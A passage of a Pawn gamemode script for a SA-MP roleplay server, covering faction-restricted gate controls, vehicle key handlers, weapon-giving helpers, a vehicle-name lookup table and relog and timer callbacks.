		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pMember] == 20)
		  {
			 if (PlayerToPoint(10.0, playerid, 1542.3541,-1627.5516,13.3828) && gateopen1 == 0)
			 {
				MoveDynamicObject(barrierls, 1544.69641113,-1630.79003906,13.00000000, 0.001, 0, 0, 270);
				SetTimer("GateTime" ,3000 ,false);
				gateopen1 = 1;
			 }
		  }
		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 20 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
		  {
			 if (PlayerToPoint(10.0, playerid, 2238.5105,2454.0935,10.8203) && gateopen2 == 0)
			 {
				MoveDynamicObject(barrierlv, 2238.16210938,2450.41113281,10.71316910, 0.001, 0, 0, 90);
				SetTimer("GateTime1" ,3000 ,false);
				gateopen2 = 1;
			 }
		  }
			if(IsACop(playerid))// Prison main gate
			{
				if (PlayerToPoint(10.0, playerid, -1039.196655, -588.116210, 32.296943))
				{
				if(gateopen11 == 1)
				{
				//SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(prisonmaingate, -1037.32507, -588.12744, 25.52484, 5);
					SetTimer("GateTime11" ,3000 ,false);
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					gateopen11 = 1;
					return 1;
				}
			}
		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
		  {
			 if (PlayerToPoint(10.0, playerid, 1589.0651,-1636.4768,13.4254) && gateopen3 == 0)
			 {
				MoveDynamicObject(garagels, 1588.3868,-1638.2165, -7, 5);
				SetTimer("GarageLS" ,3000 ,false);
				gateopen3 = 1;
			 }
		  }
		  if(IsACop(playerid))
		  {
			if(PTP(20.0,playerid,321.321075, 1897.642333, 16.636323) && gateopen4 == 0)
			{
			   MoveDynamicObject(area1gate1,321.3211, 1897.6423, 13.3879,5,0.0000, 0.0000, 270.0000);
			   MoveDynamicObject(area2gate1,321.3211, 1897.6423, 13.3879,5,0.0000, 0.0000, 270.0000);
			   MoveDynamicObject(area3gate1,321.3211, 1897.6423, 13.3879,5,0.0000, 0.0000, 270.0000);
			   SetTimer("areagate1",6000,false);
			   gateopen4 = 1;
			}
		  }
		  if(IsACop(playerid))
		  {
			if(PTP(20.0,playerid,81.3497, 1913.8065, 13.3164) && gateopen5 == 0)
			{
			   MoveDynamicObject(area1gate2,81.3497, 1922.5674, 13.3143,5,0.0000, 0.0000, 90.0000);
			   MoveDynamicObject(area2gate2,81.3497, 1913.8065, 13.3164,5,0.0000, 0.0000, 90.0000);
			   SetTimer("areagate2",6000,false);
			   gateopen5 = 1;
			}
		  }
		  if(IsACop(playerid))
		  {
			if(PTP(20.0,playerid,81.3481, 2063.2515, 16.5053) && gateopen6 == 0)
			{
			   MoveDynamicObject(area1gate3,81.3481, 2063.2515, 13.1630,5,0.0000, 0.0000, 90.0000);
			   MoveDynamicObject(area2gate3,81.3481, 2072.0249, 12.9549,5,0.0000, 0.0000, 90.0000);
			   SetTimer("areagate3",6000,false);
			   gateopen6 = 1;
			}
		  }
		  if(IsACop(playerid))
		  {
			if(PTP(20.0,playerid,209.79103, 1875.28442, 12.13354) && gateopen7 == 0)
			{
			   MoveDynamicObject(AreaGate,209.79100, 1875.28442, 8.86356,4.1,0,0,0);
			   SetTimer("areagate",3000,false);
			   gateopen7 = 1;
			}
		  }
		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
		  {
			 if (PlayerToPoint(10.0, playerid, 2334.4844,2444.3457,5.6337) && gateopen8 == 0)
			 {
				MoveDynamicObject(garagelv, 2335.2814,2444.1799, -7, 5);
				SetTimer("GarageLV" ,3000 ,false);
				gateopen8 = 1;
			 }
		  }
		  if(PlayerInfo[playerid][pClan] == 1)
		  {
			 if (PlayerToPoint(20.0, playerid, 2222.889648,-1140.269165,25.708787) && gateopen10 == 0)
			 {
				MoveDynamicObject(TTgate, 2214.9355, -1138.5302, 28.3421, 5, 0.0000, 0.0000, -16.8600);
				SetTimer("TTgateT" ,3000 ,false);
				gateopen10 = 1;
			 }
		  }
		  if(PlayerInfo[playerid][pClan] == 3)
		  {
			 if (PlayerToPoint(20.0, playerid, 2184.15991, -1762.50024, 14.65228) && gateopen22 == 0)
			 {
				MoveDynamicObject(EVgate, 2175.31470, -1762.51538, 14.69943, 5, 0.0000, 0.0000, 0.0000);
				SetTimer("EVgateT" ,3000 ,false);
				gateopen22 = 1;
			 }
		  }
		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
		  {
			 if (PlayerToPoint(10.0, playerid, 2292.9104,2499.2024,3.4907) && gateopen9 == 0)
			 {
				MoveDynamicObject(garagelv1, 2294,2498.5915, -4.5, 5);
				SetTimer("GarageLV1" ,3000 ,false);
				gateopen9 = 1;
			 }
		  }
			/*
		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
		  {
			 if (PlayerToPoint(10.0, playerid, -1624.76929, 688.32880, 8.89564) && gateopen20 == 0)
			 {
					MoveDynamicObject(sfpdgate1, -1617.58215, 688.25903, 8.89564, 5);
					SetTimer("sfpdgate1T" ,3000 ,false);
					gateopen20 = 1;
			 }
		  }
			*/
		  if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
		  {
			 if (PlayerToPoint(10.0, playerid, -1636.33142, 688.33667, 8.89540) && gateopen21 == 0)
			 {
					MoveDynamicObject(sfpdgate2, -1645.67871, 688.23499, 8.89564, 5);
					SetTimer("sfpdgate2T" ,3000 ,false);
					gateopen21 = 1;
			 }
		  }
		if(PlayerInfo[playerid][pLeader] == 8 || PlayerInfo[playerid][pMember] == 8)
	   {
   if (PlayerToPoint(10.0, playerid, 1021.2133, -377.7204, 74.7619))   {
	   MoveDynamicObject(obj5, 1021.2133, -377.7204, 80.3642, 5.00);
	   SetTimer("obj5T" ,3000 ,false);
//	   gateopen15 = 1;
	}
 }
	   }
	}// Vagoshqq
	/*if(PRESSED(KEY_ANALOG_RIGHT) && ServerObG == true)
	{
	   new Float:ui[3];
	   GetDynamicObjectPos(ServerObj, ui[0], ui[1], ui[2]);
	   DestroyDynamicObject(ServerObj);
	   ServerObj = CreateDynamicObject(ObjModelid+1, ui[0], ui[1], ui[2], 0, 0, 0);
	   ObjModelid ++;
	   new strfuck[256];
	   format(strfuck, 256, "%i", ObjModelid);
	   GameTextForAll(strfuck, 1500, 6);
	}
	if(PRESSED(KEY_ANALOG_LEFT) && ServerObG == true)
	{
	   new Float:ui[3];
	   GetDynamicObjectPos(ServerObj, ui[0], ui[1], ui[2]);
	   DestroyDynamicObject(ServerObj);
	   ServerObj = CreateDynamicObject(ObjModelid-1, ui[0], ui[1], ui[2], 0, 0, 0);
	   ObjModelid --;
	   new strfuck[256];
	   format(strfuck, 256, "%i", ObjModelid);
	   GameTextForAll(strfuck, 1500, 6);
	}*/
	if ((PRESSED( KEY_ANALOG_UP ))&&(IsPlayerInAnyVehicle(playerid))&&(GetPlayerState(playerid)==PLAYER_STATE_DRIVER))
	{
	   new vid = GetPlayerVehicleID(playerid);
	   if(bonnetSTATE[vid] == 0)
	   {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,engine,lights,alarm,doors,VEHICLE_PARAMS_ON,boot,objective);
			 bonnetSTATE[vid] = 1;
	   }
	   else
	   {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,engine,lights,alarm,doors,VEHICLE_PARAMS_OFF,boot,objective);
			 bonnetSTATE[vid] = 0;
	   }
	}
	if ((PRESSED( KEY_ANALOG_DOWN ))&&(IsPlayerInAnyVehicle(playerid))&&(GetPlayerState(playerid)==PLAYER_STATE_DRIVER))
	{
	   new vid = GetPlayerVehicleID(playerid);
	   if(vid != bullet1 && vid != bullet2 && vid != bulletpd1 && vid != bulletpd2)
	   {
		  if(bootSTATE[vid] == 0)
		  {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,VEHICLE_PARAMS_ON,objective);
			 bootSTATE[vid] = 1;
		  }
		  else
		  {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,VEHICLE_PARAMS_OFF,objective);
			 bootSTATE[vid] = 0;
		  }
	   }
	}

	if ((PRESSED( KEY_ACTION ))&&(IsPlayerInAnyVehicle(playerid))&&(GetPlayerState(playerid)==PLAYER_STATE_DRIVER))
	{
	   if (IsPlayerInVehicle(playerid, tcc1) || IsPlayerInVehicle(playerid, tcc2) || IsPlayerInVehicle(playerid, tcc3) || IsPlayerInVehicle(playerid, tcc4) || IsPlayerInVehicle(playerid, tcc5))
	   {
		  new Float:pX,Float:pY,Float:pZ;
		  GetPlayerPos(playerid,pX,pY,pZ);
		  new Float:vX,Float:vY,Float:vZ;
		  new Found=0;
		  new vid=0;
		  while((vid<MAX_VEHICLES)&&(!Found))
		  {
			 vid++;
			 GetVehiclePos(vid,vX,vY,vZ);
			 if  ((floatabs(pX-vX)<7.0)&&(floatabs(pY-vY)<7.0)&&(floatabs(pZ-vZ)<7.0)&&(vid!=GetPlayerVehicleID(playerid)))
			 {
				Found=1;
				if  (IsTrailerAttachedToVehicle(GetPlayerVehicleID(playerid)))
				{
					DetachTrailerFromVehicle(GetPlayerVehicleID(playerid));
				}
				AttachTrailerToVehicle(vid,GetPlayerVehicleID(playerid));
				SendMessage(playerid,COLOR_GRAD4,"** Car towed.");
			 }
		  }
		  if  (!Found)
		  {
			 SendMessage(playerid,COLOR_WHITE,"** There is no car in range.");
		  }
	   }

	   if ((PRESSED( KEY_SUBMISSION ))&&(IsPlayerInAnyVehicle(playerid))&&(GetPlayerState(playerid)==PLAYER_STATE_DRIVER))
	{
	   new vid1 = GetPlayerVehicleID(playerid);
	   if(vid1 != bullet1 && vid1 != bullet2 && vid1 != bulletpd1 && vid1 !=bulletpd2)
	   {
		  if(bootSTATE[vid1] == 0)
		  {
			 GetVehicleParamsEx(vid1,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid1,engine,lights,alarm,doors,bonnet,VEHICLE_PARAMS_ON,objective);
			 bootSTATE[vid1] = 1;
		  }
		  else
		  {
			 GetVehicleParamsEx(vid1,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid1,engine,lights,alarm,doors,bonnet,VEHICLE_PARAMS_OFF,objective);
			 bootSTATE[vid1] = 0;
		  }
	   }
	}
	}
	return 1;
}

stock GivePlayerKolang(plyid, weaponid, mohemat)
{
	if(unsentwep[plyid] == 1)
	{
	   GivePlayerWeapon(plyid, weaponid, mohemat);
	   return 1;
	}
	ACKolang[plyid][weaponid] = true;
	GivePlayerWeapon(plyid, weaponid, mohemat);


	return 1;
}
stock GivePlayerPBKolang(plyid, weaponid, mohemat) {
SetTimerEx("kolang", 200, 0, "iii",plyid, weaponid, mohemat);
SetTimerEx("kolang", 500, 0, "iii",plyid, weaponid, mohemat);
return 1;
}
forward kolang(plyid, weaponid, mohemat);
public kolang(plyid, weaponid, mohemat) {
if(unsentwep[plyid] == 1)
	{
	   GivePlayerWeapon(plyid, weaponid, mohemat);
	   return 1;
	}
	ACKolang[plyid][weaponid] = true;
	GivePlayerWeapon(plyid, weaponid, mohemat);
	return 1;
}
public ResetPlayerKolang(plyid)
{
	ResetPlayerWeapons(plyid);
	if(GetPlayerWeapon(plyid) != 0)
	{
	   unsentwep[plyid] ++;
	   SetTimerEx("UnSentWeap",70,0,"i",plyid);
	   return 1;
	}
	unsentwep[plyid] = 0;
	for(new i = 0;i<46;i++) ACKolang[plyid][i] = false;
	return 1;
}

forward UnSentWeap(playerid);
public UnSentWeap(playerid)
{
	if(unsentwep[playerid] == 1)
	{
	   ResetPlayerKolang(playerid);
	}
	if(unsentwep[playerid] > 150)
	{
	   new Fuck[256];
	   format(Fuck, 256, "{FFFFFF}%s(%i) is lag and ResetPlayerWeapon isn't work for this player.", PINFO[playerid][pName], playerid);
	   AdminWarn(Fuck);
	}
	return 1;
}
stock CheckPlayerDistanceToVehicle(Float:radi, playerid, vehicleid)
{
	if(IsPlayerConnected(playerid))
	{
	   new Float:PX,Float:PY,Float:PZ,Float:X,Float:Y,Float:Z;
	   GetPlayerPos(playerid,PX,PY,PZ);
	   GetVehiclePos(vehicleid, X,Y,Z);
	   new Float:Distance = (X-PX)*(X-PX)+(Y-PY)*(Y-PY)+(Z-PZ)*(Z-PZ);
	   if(Distance <= radi*radi)
	   {
		  return 1;
	   }
	}
	return 0;
}

stock GetVehicleName(vehicleid, model[], len)
{
	new checking = GetVehicleModel(vehicleid);
	if(checking == 400) return format(model, len, "Landstalker", 0);
	else if(checking == 401) return format(model, len, "Bravura", 0);
	else if(checking == 402) return format(model, len, "Buffalo", 0);
	else if(checking == 403) return format(model, len, "Linerunner", 0);
	else if(checking == 404) return format(model, len, "Perenail", 0);
	else if(checking == 405) return format(model, len, "Sentinel", 0);
	else if(checking == 406) return format(model, len, "Dumper", 0);
	else if(checking == 407) return format(model, len, "Firetruck", 0);
	else if(checking == 408) return format(model, len, "Trashmaster", 0);
	else if(checking == 409) return format(model, len, "Stretch", 0);
	else if(checking == 410) return format(model, len, "Manana", 0);
	else if(checking == 411) return format(model, len, "Infernus", 0);
	else if(checking == 412) return format(model, len, "Vodooo", 0);
	else if(checking == 413) return format(model, len, "Pony", 0);
	else if(checking == 414) return format(model, len, "Mule", 0);
	else if(checking == 415) return format(model, len, "Cheetah", 0);
	else if(checking == 416) return format(model, len, "Ambulance", 0);
	else if(checking == 417) return format(model, len, "Leviathan", 0);
	else if(checking == 418) return format(model, len, "Moonbeam", 0);
	else if(checking == 419) return format(model, len, "Esperanto", 0);
	else if(checking == 420) return format(model, len, "Taxi", 0);
	else if(checking == 421) return format(model, len, "Washington", 0);
	else if(checking == 422) return format(model, len, "Bobcat", 0);
	else if(checking == 423) return format(model, len, "Mr Whoopee", 0);
	else if(checking == 424) return format(model, len, "BF Injection", 0);
	else if(checking == 425) return format(model, len, "Hunter", 0);
	else if(checking == 426) return format(model, len, "Premier", 0);
	else if(checking == 427) return format(model, len, "S.W.A.T Truck", 0);
	else if(checking == 428) return format(model, len, "Securicar", 0);
	else if(checking == 429) return format(model, len, "Banshee", 0);
	else if(checking == 430) return format(model, len, "Predator", 0);
	else if(checking == 431) return format(model, len, "Bus", 0);
	else if(checking == 432) return format(model, len, "Rhino", 0);
	else if(checking == 433) return format(model, len, "Barracks", 0);
	else if(checking == 434) return format(model, len, "Hotknife", 0);
	else if(checking == 435) return format(model, len, "Trailer", 0);
	else if(checking == 436) return format(model, len, "Previon", 0);
	else if(checking == 437) return format(model, len, "Coach", 0);
	else if(checking == 438) return format(model, len, "Cabbie", 0);
	else if(checking == 439) return format(model, len, "Stallion", 0);
	else if(checking == 440) return format(model, len, "Rumpo", 0);
	else if(checking == 441) return format(model, len, "RC Bandit", 0);
	else if(checking == 442) return format(model, len, "Romero", 0);
	else if(checking == 443) return format(model, len, "Packer", 0);
	else if(checking == 444) return format(model, len, "Monster", 0);
	else if(checking == 445) return format(model, len, "Admiral", 0);
	else if(checking == 446) return format(model, len, "Squalo", 0);
	else if(checking == 447) return format(model, len, "Seasparrow", 0);
	else if(checking == 448) return format(model, len, "Pizza Boy", 0);
	else if(checking == 449) return format(model, len, "Tram", 0);
	else if(checking == 450) return format(model, len, "Trailer 2", 0);
	else if(checking == 451) return format(model, len, "Turismo", 0);
	else if(checking == 452) return format(model, len, "Speeder", 0);
	else if(checking == 453) return format(model, len, "Refeer", 0);
	else if(checking == 454) return format(model, len, "Tropic", 0);
	else if(checking == 455) return format(model, len, "Flatbed", 0);
	else if(checking == 456) return format(model, len, "Yankee", 0);
	else if(checking == 457) return format(model, len, "Caddy", 0);
	else if(checking == 458) return format(model, len, "Solair", 0);
	else if(checking == 459) return format(model, len, "Top Fun", 0);
	else if(checking == 460) return format(model, len, "Skimmer", 0);
	else if(checking == 461) return format(model, len, "PCJ-600", 0);
	else if(checking == 462) return format(model, len, "Faggio", 0);
	else if(checking == 463) return format(model, len, "Freeway", 0);
	else if(checking == 464) return format(model, len, "RC Baron", 0);
	else if(checking == 465) return format(model, len, "RC Raider", 0);
	else if(checking == 466) return format(model, len, "Glendade", 0);
	else if(checking == 467) return format(model, len, "Oceanic", 0);
	else if(checking == 468) return format(model, len, "Sanchez", 0);
	else if(checking == 469) return format(model, len, "Sparrow", 0);
	else if(checking == 470) return format(model, len, "Patriot", 0);
	else if(checking == 471) return format(model, len, "Quad", 0);
	else if(checking == 472) return format(model, len, "Coastguard", 0);
	else if(checking == 473) return format(model, len, "Dinghy", 0);
	else if(checking == 474) return format(model, len, "Hermes", 0);
	else if(checking == 475) return format(model, len, "Sabre", 0);
	else if(checking == 476) return format(model, len, "Rustler", 0);
	else if(checking == 477) return format(model, len, "ZR-350", 0);
	else if(checking == 478) return format(model, len, "Walton", 0);
	else if(checking == 479) return format(model, len, "Regina", 0);
	else if(checking == 480) return format(model, len, "Comet", 0);
	else if(checking == 481) return format(model, len, "BMX", 0);
	else if(checking == 482) return format(model, len, "Burrito", 0);
	else if(checking == 483) return format(model, len, "Camper", 0);
	else if(checking == 484) return format(model, len, "Marquis", 0);
	else if(checking == 485) return format(model, len, "Baggage", 0);
	else if(checking == 486) return format(model, len, "Dozer", 0);
	else if(checking == 487) return format(model, len, "Maverick", 0);
	else if(checking == 488) return format(model, len, "News Maverick", 0);
	else if(checking == 489) return format(model, len, "Rancher", 0);
	else if(checking == 490) return format(model, len, "Federal Rancher", 0);
	else if(checking == 491) return format(model, len, "Virgo", 0);
	else if(checking == 492) return format(model, len, "Greenwood", 0);
	else if(checking == 493) return format(model, len, "Jetmax", 0);
	else if(checking == 494) return format(model, len, "Hotring", 0);
	else if(checking == 495) return format(model, len, "Sandking", 0);
	else if(checking == 496) return format(model, len, "Blista Compact", 0);
	else if(checking == 497) return format(model, len, "Police Maverick", 0);
	else if(checking == 498) return format(model, len, "Boxville", 0);
	else if(checking == 499) return format(model, len, "Benson", 0);
	else if(checking == 500) return format(model, len, "Mesa", 0);
	else if(checking == 501) return format(model, len, "RC Goblin", 0);
	else if(checking == 502) return format(model, len, "Hotring A", 0);
	else if(checking == 503) return format(model, len, "Hotring B", 0);
	else if(checking == 504) return format(model, len, "Blooding Banger", 0);
	else if(checking == 505) return format(model, len, "Rancher", 0);
	else if(checking == 506) return format(model, len, "Super GT", 0);
	else if(checking == 507) return format(model, len, "Elegant", 0);
	else if(checking == 508) return format(model, len, "Journey", 0);
	else if(checking == 509) return format(model, len, "Bike", 0);
	else if(checking == 510) return format(model, len, "Mountain Bike", 0);
	else if(checking == 511) return format(model, len, "Beagle", 0);
	else if(checking == 512) return format(model, len, "Cropduster", 0);
	else if(checking == 513) return format(model, len, "Stuntplane", 0);
	else if(checking == 514) return format(model, len, "Petrol", 0);
	else if(checking == 515) return format(model, len, "Roadtrain", 0);
	else if(checking == 516) return format(model, len, "Nebula", 0);
	else if(checking == 517) return format(model, len, "Majestic", 0);
	else if(checking == 518) return format(model, len, "Buccaneer", 0);
	else if(checking == 519) return format(model, len, "Shamal", 0);
	else if(checking == 520) return format(model, len, "Hydra", 0);
	else if(checking == 521) return format(model, len, "FCR-300", 0);
	else if(checking == 522) return format(model, len, "NRG-500", 0);
	else if(checking == 523) return format(model, len, "HPV-1000", 0);
	else if(checking == 524) return format(model, len, "Cement Truck", 0);
	else if(checking == 525) return format(model, len, "Towtruck", 0);
	else if(checking == 526) return format(model, len, "Fortune", 0);
	else if(checking == 527) return format(model, len, "Cadrona", 0);
	else if(checking == 528) return format(model, len, "Federal Truck", 0);
	else if(checking == 529) return format(model, len, "Williard", 0);
	else if(checking == 530) return format(model, len, "Fork Lift", 0);
	else if(checking == 531) return format(model, len, "Tractor", 0);
	else if(checking == 532) return format(model, len, "Combine", 0);
	else if(checking == 533) return format(model, len, "Feltzer", 0);
	else if(checking == 534) return format(model, len, "Remington", 0);
	else if(checking == 535) return format(model, len, "Slamvan", 0);
	else if(checking == 536) return format(model, len, "Blade", 0);
	else if(checking == 537) return format(model, len, "Freight", 0);
	else if(checking == 538) return format(model, len, "Streak", 0);
	else if(checking == 539) return format(model, len, "Vortex", 0);
	else if(checking == 540) return format(model, len, "Vincent", 0);
	else if(checking == 541) return format(model, len, "Bullet", 0);
	else if(checking == 542) return format(model, len, "Clover", 0);
	else if(checking == 543) return format(model, len, "Sadler", 0);
	else if(checking == 544) return format(model, len, "Stairs Firetruck", 0);
	else if(checking == 545) return format(model, len, "Hustler", 0);
	else if(checking == 546) return format(model, len, "Intruder", 0);
	else if(checking == 547) return format(model, len, "Primo", 0);
	else if(checking == 548) return format(model, len, "Cargobob", 0);
	else if(checking == 549) return format(model, len, "Tampa", 0);
	else if(checking == 550) return format(model, len, "Sunrise", 0);
	else if(checking == 551) return format(model, len, "Merit", 0);
	else if(checking == 552) return format(model, len, "Utility Van", 0);
	else if(checking == 553) return format(model, len, "Nevada", 0);
	else if(checking == 554) return format(model, len, "Yosemite", 0);
	else if(checking == 555) return format(model, len, "Windsor", 0);
	else if(checking == 556) return format(model, len, "Monster A", 0);
	else if(checking == 557) return format(model, len, "Monster B", 0);
	else if(checking == 558) return format(model, len, "Uranus", 0);
	else if(checking == 559) return format(model, len, "Jester", 0);
	else if(checking == 560) return format(model, len, "Sultan", 0);
	else if(checking == 561) return format(model, len, "Stratum", 0);
	else if(checking == 562) return format(model, len, "Elegy", 0);
	else if(checking == 563) return format(model, len, "Raindance", 0);
	else if(checking == 564) return format(model, len, "RC Tiger", 0);
	else if(checking == 565) return format(model, len, "Flash", 0);
	else if(checking == 566) return format(model, len, "Tahoma", 0);
	else if(checking == 567) return format(model, len, "Savanna", 0);
	else if(checking == 568) return format(model, len, "Bandito", 0);
	else if(checking == 569) return format(model, len, "Freight Flat", 0);
	else if(checking == 570) return format(model, len, "Streak", 0);
	else if(checking == 571) return format(model, len, "Kart", 0);
	else if(checking == 572) return format(model, len, "Mower", 0);
	else if(checking == 573) return format(model, len, "Duneride", 0);
	else if(checking == 574) return format(model, len, "Sweeper", 0);
	else if(checking == 575) return format(model, len, "Broadway", 0);
	else if(checking == 576) return format(model, len, "Tornado", 0);
	else if(checking == 577) return format(model, len, "AT-400", 0);
	else if(checking == 578) return format(model, len, "DFT-30", 0);
	else if(checking == 579) return format(model, len, "Huntley", 0);
	else if(checking == 580) return format(model, len, "stafford", 0);
	else if(checking == 581) return format(model, len, "BF-400", 0);
	else if(checking == 582) return format(model, len, "Raindance", 0);
	else if(checking == 583) return format(model, len, "News Van", 0);
	else if(checking == 584) return format(model, len, "Tug", 0);
	else if(checking == 585) return format(model, len, "Petrol Tanker", 0);
	else if(checking == 586) return format(model, len, "Wayfarer", 0);
	else if(checking == 587) return format(model, len, "Euros", 0);
	else if(checking == 588) return format(model, len, "Hotdog", 0);
	else if(checking == 589) return format(model, len, "Club", 0);
	else if(checking == 590) return format(model, len, "Freight Box", 0);
	else if(checking == 591) return format(model, len, "Trailer 3", 0);
	else if(checking == 592) return format(model, len, "Andromada", 0);
	else if(checking == 593) return format(model, len, "Dodo", 0);
	else if(checking == 594) return format(model, len, "RC Cam", 0);
	else if(checking == 595) return format(model, len, "Launch", 0);
	else if(checking == 596) return format(model, len, "LSPD Patrol Car", 0);
	else if(checking == 597) return format(model, len, "FBI Patrol Car", 0);
	else if(checking == 598) return format(model, len, "NG Patrol Car", 0);
	else if(checking == 599) return format(model, len, "LSPD Patrol Ranger", 0);
	else if(checking == 600) return format(model, len, "Picador", 0);
	else if(checking == 601) return format(model, len, "S.W.A.T Tank", 0);
	else if(checking == 602) return format(model, len, "Alpha", 0);
	else if(checking == 603) return format(model, len, "Phoenix", 0);
	else if(checking == 609) return format(model, len, "Boxville", 0);
	return 0;
}
//-----------------------------------------------------
public Float:GetDistance(playerid, Float:x, Float:y)
{
	new Float:x2, Float:y2, Float:z2;
	GetPlayerPos(playerid, x2, y2, z2);
	x = x - x2;
	y = y - y2;
	return floatsqroot(x*x+y*y);
}

forward towtime(playerid);
public towtime(playerid)
{
  towtimer[playerid] = 0;
}
// By SiNaGaMeR
forward jettime(playerid);
public jettime(playerid)
{
  jettimer[playerid] = 0;
}
forward bboxtime(playerid);
public bboxtime(playerid)
{
	DestroyObject(BoomBoxObject[playerid]);
	BBoxDare[playerid] = 0;
}
forward newstime(playerid);
public newstime(playerid)
{
  KillTimer(MyNewsTimer[playerid]);
  newstimer[playerid] = 0;
}
forward boxtime(playerid);
public boxtime(playerid)
{
  KillTimer(BOXTIMEKILLER[playerid]);
  BOXTIMEKILLER[playerid]=0;
  boxtimer[playerid] = 0;
}
forward cancelupd(playerid);
public cancelupd(playerid)
{
	   for(new i = 0;i<Akharish;i++)
	   {
  TextDrawHideForPlayer(i, TDRestart);
  ShowedForMEUPD[i] = 0;
		}
}
forward relogtime(playerid);
public relogtime(playerid)
{
  new string[30];
  UnBlockIpAddress(PINFO[playerid][pRelogIP]);
  format(string, sizeof(string), "unbanip %s", PINFO[playerid][pRelogIP]);
  PlayerInfo[playerid][pRelog] = 0;
  SaveKonVal(playerid, "pRelog", 0);
  SendRconCommand(string);
}
forward relogtime2(playerid);
public relogtime2(playerid)
{
  PlayerInfo[playerid][pRelog] = 0;
  SaveKonVal(playerid, "pRelog", 0);
}
forward relogkick(playerid);
public relogkick(playerid)
{
  Kick(playerid);
}
forward reelogkol(playerid);
public reelogkol(playerid)
{
	SaveAccounts();
	new BitStream:bs = BS_New();
	BS_WriteInt8(bs,33);
	BS_Send(bs, playerid);
	SetTimerEx("relogkick", 20, 0, "d", playerid);
	PlayerInfo[playerid][pRelog] = 1;
	SaveKonVal(playerid, "pRelog", 1);
	new strchat[180];
	format(strchat, sizeof(strchat), "%s has left the game (relog)", PlayerInfo[playerid][pName]);
	ProxDetector(30.0, playerid, strchat, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	SendAdminMessage3(0xBFC0C2FF, strchat);
}
forward relogname(playerid);
public relogname(playerid)
{
	 for( new u; u < MAX_PLAYERS; u++ )
	 {
		 SetPlayerName(u, NameA[u]);
	  }
}
forward relogorg(playerid);
public relogorg(playerid)
{
	if(PINFO[playerid][pRelog] == 1)
	{
	PlayerInfo[playerid][pRelog] = 0;
	SaveKonVal(playerid, "pRelog", 0);
	}
}

forward Relog(playerid);
public Relog(playerid)
{
				for( new u; u < MAX_PLAYERS; u++ )
				{
				  new xName[128];
				   GetPlayerName(u, xName, sizeof(xName));
				   strcpy(NameB[u],xName,128);
				  strcpy(NameA[u],PINFO[u][pName],128);
				  strcpy(PINFO[u][pName],NameA[u],128);
				  SetPlayerName(u, NameB[u]);
				}
}

forward relognm(playerid);
public relognm(playerid)
{
	 for( new u; u < MAX_PLAYERS; u++ )
	 {
		new xName[40];
		 GetPlayerName(u, xName, sizeof(xName));
		 strcpy(NameA[u],PINFO[u][pName],128);
	  }
}
forward autosleep(playerid);
public autosleep(playerid)
{
   OnPlayerCommandText(playerid, "/sleep");
}
forward relogban(playerid);
public relogban(playerid)
{
  new string[30];
  UnBlockIpAddress(PINFO[playerid][pRelogIP]);
  format(string, sizeof(string), "unbanip %s", PINFO[playerid][pRelogIP]);
  SendRconCommand(string);
}
forward farartime(playerid);
public farartime(playerid)
{
  farartimer[playerid] = 0;
}
forward dozdshodetime(playerid);
public dozdshodetime(playerid)
{
  dozdshodetimer[playerid] = 0;
}
forward dytime(playerid);
public dytime(playerid)
{
  dytimer[playerid] = 0;
}
forward atishrtime(playerid);
public atishrtime(playerid)
{
  atishrtimer[playerid] = 0;
}
forward tnttime(playerid);
